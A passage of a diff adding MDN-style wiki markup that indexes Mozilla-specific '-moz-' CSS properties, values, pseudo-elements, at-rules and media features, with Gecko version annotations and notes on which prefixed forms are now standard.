+ <li>{{cssxref("-moz-osx-font-smoothing")}}</li>
+ <li>{{Cssxref("-moz-outline-radius")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-bottomleft")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-bottomright")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-topleft")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-topright")}}</li>
+ <li>{{Cssxref("overflow-clip-box")}}</li>
+ <li>{{Cssxref("overflow-clip-box-block")}}</li>
+ <li>{{Cssxref("overflow-clip-box-inline")}}</li>
+</ul>
+
+<h3 id="S_–_Z">S – Z</h3>
+
+<ul>
+ <li>{{Cssxref("-moz-stack-sizing")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(images-in-menus)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(mac-graphite-theme)")}} {{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-end-backward)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-end-forward)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-start-backward)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-start-forward)")}} {{Fx_minversion_inline(3)}}</li>
+ <li>{{Cssxref(":-moz-system-metric(scrollbar-thumb-proportional)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(touch-enabled)")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-system-metric(windows-default-theme)")}} {{Fx_minversion_inline(3)}}</li>
+ <li>{{Cssxref("-moz-user-focus")}}</li>
+ <li>{{Cssxref("-moz-user-input")}}</li>
+ <li>{{Cssxref("-moz-user-modify")}}</li>
+ <li>{{cssxref("-moz-window-dragging")}}</li>
+ <li>{{Cssxref("-moz-window-shadow")}}</li>
+</ul>
+</div>
+
+<h2 id="Formerly_proprietary_properties_that_are_now_standard"><span class="highlight-span">Formerly proprietary</span> properties that are now standard</h2>
+
+<div class="note">
+<p><strong>Note:</strong> To maximize the compatibility of your CSS, you should use the unprefixed standard properties instead of the prefixed ones listed below. Once a given property is standardized and implemented without the prefix, the prefixed version is typically dropped after a while.</p>
+</div>
+
+<div class="index">
+<ul>
+ <li>
+ <h3 id="A">A</h3>
+ </li>
+ <li>{{Cssxref("animation", "-moz-animation")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-delay", "-moz-animation-delay")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-direction", "-moz-animation-direction")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-duration", "-moz-animation-duration")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-fill-mode", "-moz-animation-fill-mode")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-iteration-count", "-moz-animation-iteration-count")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-name", "-moz-animation-name")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-play-state", "-moz-animation-play-state")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("animation-timing-function","-moz-animation-timing-function")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("-moz-appearance")}}</li>
+ <li>
+ <h3 id="B_2">B</h3>
+ </li>
+ <li>{{Cssxref("backface-visibility", "-moz-backface-visibility")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("background-clip", "-moz-background-clip")}}</li>
+ <li>{{Cssxref("background-origin", "-moz-background-origin")}}</li>
+ <li>{{Cssxref("-moz-background-inline-policy")}} [Superseded by the standard version {{cssxref("box-decoration-break")}}]</li>
+ <li>{{Cssxref("background-size", "-moz-background-size")}}</li>
+ <li>{{Cssxref("-moz-border-end")}} [Superseded by the standard version {{cssxref("border-inline-end")}}]</li>
+ <li>{{Cssxref("-moz-border-end-color")}} [Superseded by the standard version {{cssxref("border-inline-end-color")}}]</li>
+ <li>{{Cssxref("-moz-border-end-style")}} [Superseded by the standard version {{cssxref("border-inline-end-style")}}]</li>
+ <li>{{Cssxref("-moz-border-end-width")}} [Superseded by the standard version {{cssxref("border-inline-end-width")}}]</li>
+ <li>{{Cssxref("border-image","-moz-border-image")}}</li>
+ <li>{{Cssxref("-moz-border-start")}} [Superseded by the standard version {{cssxref("border-inline-start")}}]</li>
+ <li>{{Cssxref("-moz-border-start-color")}} [Superseded by the standard version {{cssxref("border-inline-start-color")}}]</li>
+ <li>{{Cssxref("-moz-border-start-style")}} [Superseded by the standard version {{cssxref("border-inline-start-style")}}]</li>
+ <li>{{Cssxref("-moz-border-start-width")}} [Superseded by the standard version {{cssxref("border-inline-start-width")}}]</li>
+ <li>{{cssxref("box-sizing", "-moz-box-sizing")}} [Prefixed version still accepted]</li>
+ <li>
+ <h3 id="C">C</h3>
+ </li>
+ <li>{{Cssxref("clip-path")}} [Applying to more than SVG]</li>
+ <li>{{Cssxref("-moz-column-count")}}</li>
+ <li>{{Cssxref("-moz-column-fill")}}</li>
+ <li>{{Cssxref("-moz-column-gap")}}</li>
+ <li>{{Cssxref("-moz-column-width")}}</li>
+ <li>{{Cssxref("-moz-column-rule")}}</li>
+ <li>{{Cssxref("-moz-column-rule-width")}}</li>
+ <li>{{Cssxref("-moz-column-rule-style")}}</li>
+ <li>{{Cssxref("-moz-column-rule-color")}}</li>
+ <li>{{Cssxref("-moz-context-properties")}}</li>
+ <li>
+ <h3 id="F_–_M">F – M</h3>
+ </li>
+ <li>{{Cssxref("filter")}} [Applying to more than SVG]</li>
+ <li>{{Cssxref("-moz-font-feature-settings")}} [Prefixed version still accepted]</li>
+ <li>{{cssxref("-moz-font-language-override")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("-moz-hyphens")}}</li>
+ <li>{{Cssxref("-moz-margin-end")}} [Superseded by the standard version {{cssxref("margin-inline-end")}}]</li>
+ <li>{{Cssxref("-moz-margin-start")}} [Superseded by the standard version {{cssxref("margin-inline-start")}}]</li>
+ <li>{{Cssxref("mask")}} [Applying to more than SVG]</li>
+ <li>
+ <h3 id="O_2">O</h3>
+ </li>
+ <li>{{Cssxref("opacity","-moz-opacity")}}</li>
+ <li>{{Cssxref("outline","-moz-outline")}}</li>
+ <li>{{Cssxref("outline-color","-moz-outline-color")}}</li>
+ <li>{{Cssxref("outline-offset","-moz-outline-offset")}}</li>
+ <li>{{Cssxref("outline-style","-moz-outline-style")}}</li>
+ <li>{{Cssxref("outline-width","-moz-outline-width")}}</li>
+ <li>
+ <h3 id="P">P</h3>
+ </li>
+ <li>{{Cssxref("-moz-padding-end")}} [Superseded by the standard version {{cssxref("padding-inline-end")}}]</li>
+ <li>{{Cssxref("-moz-padding-start")}} [Superseded by the standard version {{cssxref("padding-inline-start")}}]</li>
+ <li>{{Cssxref("perspective", "-moz-perspective")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("perspective-origin","-moz-perspective-origin")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("pointer-events")}} [Applying to more than SVG]</li>
+ <li>
+ <h3 id="T_–_U">T – U</h3>
+ </li>
+ <li>{{cssxref("-moz-tab-size")}}</li>
+ <li>{{cssxref("-moz-text-align-last")}}</li>
+ <li>{{Cssxref("text-decoration-color","-moz-text-decoration-color")}}</li>
+ <li>{{Cssxref("text-decoration-line","-moz-text-decoration-line")}}</li>
+ <li>{{Cssxref("text-decoration-style","-moz-text-decoration-style")}}</li>
+ <li>{{cssxref("-moz-text-size-adjust")}}</li>
+ <li>{{Cssxref("transform", "-moz-transform")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("transform-origin", "-moz-transform-origin")}} [Prefixed version still accepted]</li>
+ <li>{{Cssxref("transform-style", "-moz-transform-style")}} [Prefixed version still accepted]</li>
+ <li>{{cssxref("transition", "-moz-transition")}} [Prefixed version still accepted]</li>
+ <li>{{cssxref("transition-delay", "-moz-transition-delay")}} [Prefixed version still accepted]</li>
+ <li>{{cssxref("transition-duration", "-moz-transition-duration")}} [Prefixed version still accepted]</li>
+ <li>{{cssxref("transition-property", "-moz-transition-property")}} [Prefixed version still accepted]</li>
+ <li>{{cssxref("transition-timing-function", "-moz-transition-timing-function")}} [Prefixed version still accepted]</li>
+ <li>{{cssxref("-moz-user-select")}}</li>
+</ul>
+</div>
+
+<h2 id="Values">Values</h2>
+
+<h3 id="Global_values">Global values</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("initial","-moz-initial")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(-moz-appearance)">{{Cssxref("-moz-appearance")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>button</code></li>
+ <li><code>button-arrow-down</code></li>
+ <li><code>button-arrow-next</code></li>
+ <li><code>button-arrow-previous</code></li>
+ <li><code>button-arrow-up</code></li>
+ <li><code>button-bevel</code></li>
+ <li><code>checkbox</code></li>
+ <li><code>checkbox-container</code></li>
+ <li><code>checkbox-label</code></li>
+ <li><code>checkmenuitem</code></li>
+ <li><code>dialog</code></li>
+ <li><code>groupbox</code></li>
+ <li><code>listbox</code></li>
+ <li><code>menuarrow</code></li>
+ <li><code>menucheckbox</code></li>
+ <li><code>menuimage</code></li>
+ <li><code>menuitem</code></li>
+ <li><code>menuitemtext</code></li>
+ <li><code>menulist</code></li>
+ <li><code>menulist-button</code></li>
+ <li><code>menulist-text</code></li>
+ <li><code>menulist-textfield</code></li>
+ <li><code>menupopup</code></li>
+ <li><code>menuradio</code></li>
+ <li><code>menuseparator</code></li>
+ <li><code>-moz-mac-unified-toolbar</code> {{Fx_minversion_inline(3.5)}}</li>
+ <li><code>-moz-win-borderless-glass</code></li>
+ <li><code>-moz-win-browsertabbar-toolbox</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-communications-toolbox</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-glass</code></li>
+ <li><code>-moz-win-media-toolbox</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-window-button-box</code></li>
+ <li><code>-moz-window-button-box-maximized</code></li>
+ <li><code>-moz-window-button-close</code></li>
+ <li><code>-moz-window-button-maximize</code></li>
+ <li><code>-moz-window-button-minimize</code></li>
+ <li><code>-moz-window-button-restore</code></li>
+ <li><code>-moz-window-titlebar</code></li>
+ <li><code>-moz-window-titlebar-maximized</code></li>
+ <li><code>progressbar</code></li>
+ <li><code>progresschunk</code></li>
+ <li><code>radio</code></li>
+ <li><code>radio-container</code></li>
+ <li><code>radio-label</code></li>
+ <li><code>radiomenuitem</code></li>
+ <li><code>resizer</code></li>
+ <li><code>resizerpanel</code></li>
+ <li><code>scale-horizontal</code></li>
+ <li><code>scalethumb-horizontal</code></li>
+ <li><code>scalethumb-vertical</code></li>
+ <li><code>scale-vertical</code></li>
+ <li><code>scrollbarbutton-down</code></li>
+ <li><code>scrollbarbutton-left</code></li>
+ <li><code>scrollbarbutton-right</code></li>
+ <li><code>scrollbarbutton-up</code></li>
+ <li><code>scrollbar-small</code></li>
+ <li><code>scrollbarthumb-horizontal</code></li>
+ <li><code>scrollbarthumb-vertical</code></li>
+ <li><code>scrollbartrack-horizontal</code></li>
+ <li><code>scrollbartrack-vertical</code></li>
+ <li><code>separator</code></li>
+ <li><code>spinner</code></li>
+ <li><code>spinner-downbutton</code></li>
+ <li><code>spinner-textfield</code></li>
+ <li><code>spinner-upbutton</code></li>
+ <li><code>statusbar</code></li>
+ <li><code>statusbarpanel</code></li>
+ <li><code>tab</code></li>
+ <li><code>tabpanels</code></li>
+ <li><code>tab-scroll-arrow-back</code></li>
+ <li><code>tab-scroll-arrow-forward</code></li>
+ <li><code>textfield</code></li>
+ <li><code>textfield-multiline</code></li>
+ <li><code>toolbar</code></li>
+ <li><code>toolbarbutton-dropdown</code></li>
+ <li><code>toolbox</code></li>
+ <li><code>tooltip</code></li>
+ <li><code>treeheadercell</code></li>
+ <li><code>treeheadersortarrow</code></li>
+ <li><code>treeitem</code></li>
+ <li><code>treetwisty</code></li>
+ <li><code>treetwistyopen</code></li>
+ <li><code>treeview</code></li>
+ <li><code>window</code></li>
+</ul>
+</div>
+
+<h3 id="cssxref(background-image)">{{cssxref("background-image")}}</h3>
+
+<div class="index">
+<ul>
+ <li>
+ <h4 id="Gradients_Gecko_minversion_inline(1.9.2)">Gradients {{Gecko_minversion_inline("1.9.2")}}</h4>
+
+ <ul>
+ <li>{{cssxref("-moz-linear-gradient")}}</li>
+ <li>{{cssxref("-moz-radial-gradient")}}</li>
+ </ul>
+ </li>
+ <li>
+ <h4 id="Elements_gecko_minversion_inline(2.0)">Elements {{gecko_minversion_inline("2.0")}}</h4>
+
+ <ul>
+ <li>{{cssxref("-moz-element")}}</li>
+ </ul>
+ </li>
+ <li>
+ <h4 id="Sub-images_gecko_minversion_inline(2.0)">Sub-images {{gecko_minversion_inline("2.0")}}</h4>
+
+ <ul>
+ <li>{{cssxref("-moz-image-rect")}}</li>
+ </ul>
+ </li>
+</ul>
+</div>
+
+<h3 id="Cssxref(border-color)">{{Cssxref("border-color")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-use-text-color</code> {{obsolete_inline}} removed from Gecko (see {{bug(1306214)}}); use <a href="/en-US/docs/Web/CSS/color_value#currentColor_keyword">currentcolor</a> instead.</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(border-style)_and_Cssxref(outline-style)">{{Cssxref("border-style")}} and {{Cssxref("outline-style")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-bg-inset | -moz-bg-outset | -moz-bg-solid </code> {{obsolete_inline}} dropped in Gecko 1.9 (Firefox 3.0)</li>
+</ul>
+</div>
+
+<h3 id="cssxref(&lt;color>)_keywords">{{cssxref("&lt;color&gt;")}} keywords</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-activehyperlinktext</code></li>
+ <li><code>-moz-hyperlinktext</code></li>
+ <li><code>-moz-visitedhyperlinktext</code></li>
+ <li><code>-moz-buttondefault</code></li>
+ <li><code>-moz-buttonhoverface</code></li>
+ <li><code>-moz-buttonhovertext</code></li>
+ <li><code>-moz-default-background-color</code> {{Gecko_minversion_inline("5.0")}}</li>
+ <li><code>-moz-default-color</code> {{Gecko_minversion_inline("5.0")}}</li>
+ <li><code>-moz-cellhighlight</code></li>
+ <li><code>-moz-cellhighlighttext</code></li>
+ <li><code>-moz-field</code></li>
+ <li><code>-moz-fieldtext</code></li>
+ <li><code>-moz-dialog</code></li>
+ <li><code>-moz-dialogtext</code></li>
+ <li><code>-moz-dragtargetzone</code></li>
+ <li><code>-moz-mac-accentdarkestshadow</code></li>
+ <li><code>-moz-mac-accentdarkshadow</code></li>
+ <li><code>-moz-mac-accentface</code></li>
+ <li><code>-moz-mac-accentlightesthighlight</code></li>
+ <li><code>-moz-mac-accentlightshadow</code></li>
+ <li><code>-moz-mac-accentregularhighlight</code></li>
+ <li><code>-moz-mac-accentregularshadow</code></li>
+ <li><code>-moz-mac-chrome-active</code> {{Gecko_minversion_inline("1.9.1")}}</li>
+ <li><code>-moz-mac-chrome-inactive</code> {{Gecko_minversion_inline("1.9.1")}}</li>
+ <li><code>-moz-mac-focusring</code></li>
+ <li><code>-moz-mac-menuselect</code></li>
+ <li><code>-moz-mac-menushadow</code></li>
+ <li><code>-moz-mac-menutextselect</code></li>
+ <li><code>-moz-menuhover</code></li>
+ <li><code>-moz-menuhovertext</code></li>
+ <li><code>-moz-win-communicationstext</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-mediatext</code> {{gecko_minversion_inline(1.9)}}</li>
+ <li><code>-moz-nativehyperlinktext</code> {{Gecko_minversion_inline("1.9.1")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(display)">{{Cssxref("display")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-box</code></li>
+ <li><code>-moz-inline-block</code> {{obsolete_inline}}</li>
+ <li><code>-moz-inline-box</code></li>
+ <li><code>-moz-inline-grid</code></li>
+ <li><code>-moz-inline-stack</code></li>
+ <li><code>-moz-inline-table</code> {{obsolete_inline}}</li>
+ <li><code>-moz-grid</code></li>
+ <li><code>-moz-grid-group</code></li>
+ <li><code>-moz-grid-line</code></li>
+ <li><code>-moz-groupbox</code></li>
+ <li><code>-moz-deck</code></li>
+ <li><code>-moz-popup</code></li>
+ <li><code>-moz-stack</code></li>
+ <li><code>-moz-marker</code></li>
+</ul>
+</div>
+
+<h3 id="cssxref(empty-cells)">{{cssxref("empty-cells")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-show-background</code> (default value in quirks mode)</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(font)">{{Cssxref("font")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-button</code></li>
+ <li><code>-moz-info</code></li>
+ <li><code>-moz-desktop</code></li>
+ <li><code>-moz-dialog</code> (also a color)</li>
+ <li><code>-moz-document</code></li>
+ <li><code>-moz-workspace</code></li>
+ <li><code>-moz-window</code></li>
+ <li><code>-moz-list</code></li>
+ <li><code>-moz-pull-down-menu</code></li>
+ <li><code>-moz-field</code> (also a color)</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(font-family)">{{Cssxref("font-family")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-fixed</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(image-rendering)">{{Cssxref("image-rendering")}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("image-rendering","-moz-crisp-edges")}} {{Gecko_minversion_inline("1.9.2")}}</li>
+</ul>
+</div>
+
+<h3 id="cssxref(&lt;length>)">{{cssxref("&lt;length&gt;")}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("-moz-calc")}} {{gecko_minversion_inline("2.0")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(list-style-type)">{{Cssxref("list-style-type")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-arabic-indic</code></li>
+ <li><code>-moz-bengali</code></li>
+ <li><code>-moz-cjk-earthly-branch</code></li>
+ <li><code>-moz-cjk-heavenly-stem</code></li>
+ <li><code>-moz-devanagari</code></li>
+ <li><code>-moz-ethiopic-halehame</code></li>
+ <li><code>-moz-ethiopic-halehame-am</code></li>
+ <li><code>-moz-ethiopic-halehame-ti-er</code></li>
+ <li><code>-moz-ethiopic-halehame-ti-et</code></li>
+ <li><code>-moz-ethiopic-numeric</code></li>
+ <li><code>-moz-gujarati</code></li>
+ <li><code>-moz-gurmukhi</code></li>
+ <li><code>-moz-hangul</code></li>
+ <li><code>-moz-hangul-consonant</code></li>
+ <li><code>-moz-japanese-formal</code></li>
+ <li><code>-moz-japanese-informal</code></li>
+ <li><code>-moz-kannada</code></li>
+ <li><code>-moz-khmer</code></li>
+ <li><code>-moz-lao</code></li>
+ <li><code>-moz-malayalam</code></li>
+ <li><code>-moz-myanmar</code></li>
+ <li><code>-moz-oriya</code></li>
+ <li><code>-moz-persian</code></li>
+ <li><code>-moz-simp-chinese-formal</code></li>
+ <li><code>-moz-simp-chinese-informal</code></li>
+ <li><code>-moz-tamil</code></li>
+ <li><code>-moz-telugu</code></li>
+ <li><code>-moz-thai</code></li>
+ <li><code>-moz-trad-chinese-formal</code></li>
+ <li><code>-moz-trad-chinese-informal</code></li>
+ <li><code>-moz-urdu</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(overflow)">{{Cssxref("overflow")}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("-moz-scrollbars-none")}} {{obsolete_inline}}</li>
+ <li>{{Cssxref("-moz-scrollbars-horizontal")}} {{Deprecated_inline}}</li>
+ <li>{{Cssxref("-moz-scrollbars-vertical")}} {{Deprecated_inline}}</li>
+ <li>{{Cssxref("-moz-hidden-unscrollable")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(text-align)">{{Cssxref("text-align")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-center</code></li>
+ <li><code>-moz-left</code></li>
+ <li><code>-moz-right</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(text-decoration)">{{Cssxref("text-decoration")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-anchor-decoration</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(-moz-user-select)">{{Cssxref("-moz-user-select")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-all</code></li>
+ <li><code>-moz-none</code></li>
+</ul>
+</div>
+
+<h3 id="Cssxref(width)_Cssxref(min-width)_and_Cssxref(max-width)">{{Cssxref("width")}}, {{Cssxref("min-width")}}, and {{Cssxref("max-width")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-min-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-fit-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-max-content</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-available</code> {{Fx_minversion_inline(3)}}</li>
+</ul>
+</div>
+
+<h2 id="Pseudo-elements_and_pseudo-classes">Pseudo-elements and pseudo-classes</h2>
+
+<div class="index">
+<ul>
+ <li>
+ <h3 id="A_–_D">A – D</h3>
+ </li>
+ <li>{{Cssxref("::-moz-anonymous-block")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{Cssxref("::-moz-anonymous-positioned-block")}}</li>
+ <li>{{cssxref(":-moz-any")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref(":-moz-any-link")}} [Matches <code>:link</code> and <code>:visited</code>]</li>
+ <li>{{Cssxref(":-moz-broken")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref("::-moz-canvas")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-cell-content")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{Cssxref(":-moz-drag-over")}}</li>
+ <li>
+ <h3 id="F_–_I">F – I</h3>
+ </li>
+ <li>{{Cssxref(":-moz-first-node")}}</li>
+ <li>{{cssxref("::-moz-focus-inner")}}</li>
+ <li>{{cssxref("::-moz-focus-outer")}}</li>
+ <li>{{cssxref(":-moz-focusring")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{cssxref(":-moz-full-screen")}} {{gecko_minversion_inline("9.0")}}</li>
+ <li>{{cssxref(":-moz-full-screen-ancestor")}} {{gecko_minversion_inline("10.0")}}</li>
+ <li>{{cssxref(":-moz-handler-blocked")}} {{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{cssxref(":-moz-handler-crashed")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{cssxref(":-moz-handler-disabled")}} {{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{Cssxref("::-moz-inline-table")}}</li>
+ <li>
+ <h3 id="Leg-_resourcegreresua.css">L<span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></h3>
+ </li>
+ <li>{{Cssxref(":-moz-last-node")}}</li>
+ <li>{{Cssxref(":-moz-list-bullet")}}</li>
+ <li>{{cssxref(":-moz-list-number")}}</li>
+ <li>{{cssxref(":-moz-loading")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-locale-dir(ltr)")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-locale-dir(rtl)")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-lwtheme")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-lwtheme-brighttext")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{Cssxref(":-moz-lwtheme-darktext")}} {{gecko_minversion_inline("1.9.2")}}</li>
+ <li>
+ <h3 id="N_–_R">N – R</h3>
+ </li>
+ <li>{{Cssxref(":-moz-native-anonymous")}} {{gecko_minversion_inline("36")}}</li>
+ <li>{{Cssxref(":-moz-only-whitespace")}}</li>
+ <li>{{Cssxref("::-moz-page")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-page-sequence")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-pagebreak")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-pagecontent")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref(":-moz-placeholder")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{cssxref("::-moz-placeholder")}} {{gecko_minversion_inline("19")}}</li>
+ <li>{{Cssxref("::-moz-progress-bar")}}</li>
+ <li>{{Cssxref("::-moz-range-progress")}}</li>
+ <li>{{Cssxref("::-moz-range-thumb")}}</li>
+ <li>{{Cssxref("::-moz-range-track")}}</li>
+ <li>{{Cssxref(":-moz-read-only")}}</li>
+ <li>{{Cssxref(":-moz-read-write")}}</li>
+ <li>
+ <h3 id="S">S</h3>
+ </li>
+ <li>{{Cssxref("::-moz-scrolled-canvas")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-scrolled-content")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{Cssxref("::-moz-scrolled-page-sequence")}} <span class="comment">eg@:- bug 331432</span></li>
+ <li>{{cssxref("::selection","::-moz-selection")}}</li>
+ <li>{{cssxref(":-moz-submit-invalid")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{cssxref(":-moz-suppressed")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref("::-moz-svg-foreign-content")}} <span class="comment">example at <a rel="freelink">resource://gre/res/svg.css</a> , *|*::-moz-svg-foreign-content {display: block !important;position: static !important;}</span></li>
+ <li> </li>
+ <li>
+ <h3 id="T">T</h3>
+ </li>
+ <li>{{Cssxref("::-moz-table")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-cell")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-column")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-column-group")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-outer")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-row")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-table-row-group")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref(":-moz-tree-cell")}}</li>
+ <li>{{Cssxref(":-moz-tree-cell-text")}}</li>
+ <li>{{Cssxref(":-moz-tree-cell-text(hover)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-tree-checkbox")}}</li>
+ <li>{{Cssxref(":-moz-tree-column")}}</li>
+ <li>{{Cssxref(":-moz-tree-drop-feedback")}}</li>
+ <li>{{Cssxref(":-moz-tree-image")}}</li>
+ <li>{{Cssxref(":-moz-tree-indentation")}}</li>
+ <li>{{Cssxref(":-moz-tree-line")}}</li>
+ <li>{{Cssxref(":-moz-tree-progressmeter")}}</li>
+ <li>{{Cssxref(":-moz-tree-row")}}</li>
+ <li>{{Cssxref(":-moz-tree-row(hover)")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref(":-moz-tree-separator")}}</li>
+ <li>{{Cssxref(":-moz-tree-twisty")}}</li>
+ <li>
+ <h3 id="U_–_X">U – X</h3>
+ </li>
+ <li>{{Cssxref(":-moz-ui-invalid")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref(":-moz-ui-valid")}}{{gecko_minversion_inline("2.0")}}</li>
+ <li>{{cssxref(":-moz-user-disabled")}} {{gecko_minversion_inline("1.9")}}</li>
+ <li>{{Cssxref("::-moz-viewport")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{Cssxref("::-moz-viewport-scroll")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+ <li>{{cssxref(":-moz-window-inactive")}} {{gecko_minversion_inline("2.0")}}</li>
+ <li>{{Cssxref("::-moz-xul-anonymous-block")}} <span class="comment">eg@:- <a rel="freelink">resource://gre/res/ua.css</a></span></li>
+</ul>
+</div>
+
+<h2 id="At-rules">At-rules</h2>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("@-moz-document")}}</li>
+</ul>
+</div>
+
+<h2 id="Media_features">Media features</h2>
+
+<div class="index">
+<ul>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-mac-graphite-theme">-moz-mac-graphite-theme</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-maemo-classic">-moz-maemo-classic</a> </code>{{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-device-pixel-ratio">-moz-device-pixel-ratio</a></code> {{gecko_minversion_inline("2.0")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-os-version">-moz-os-version</a></code></li>
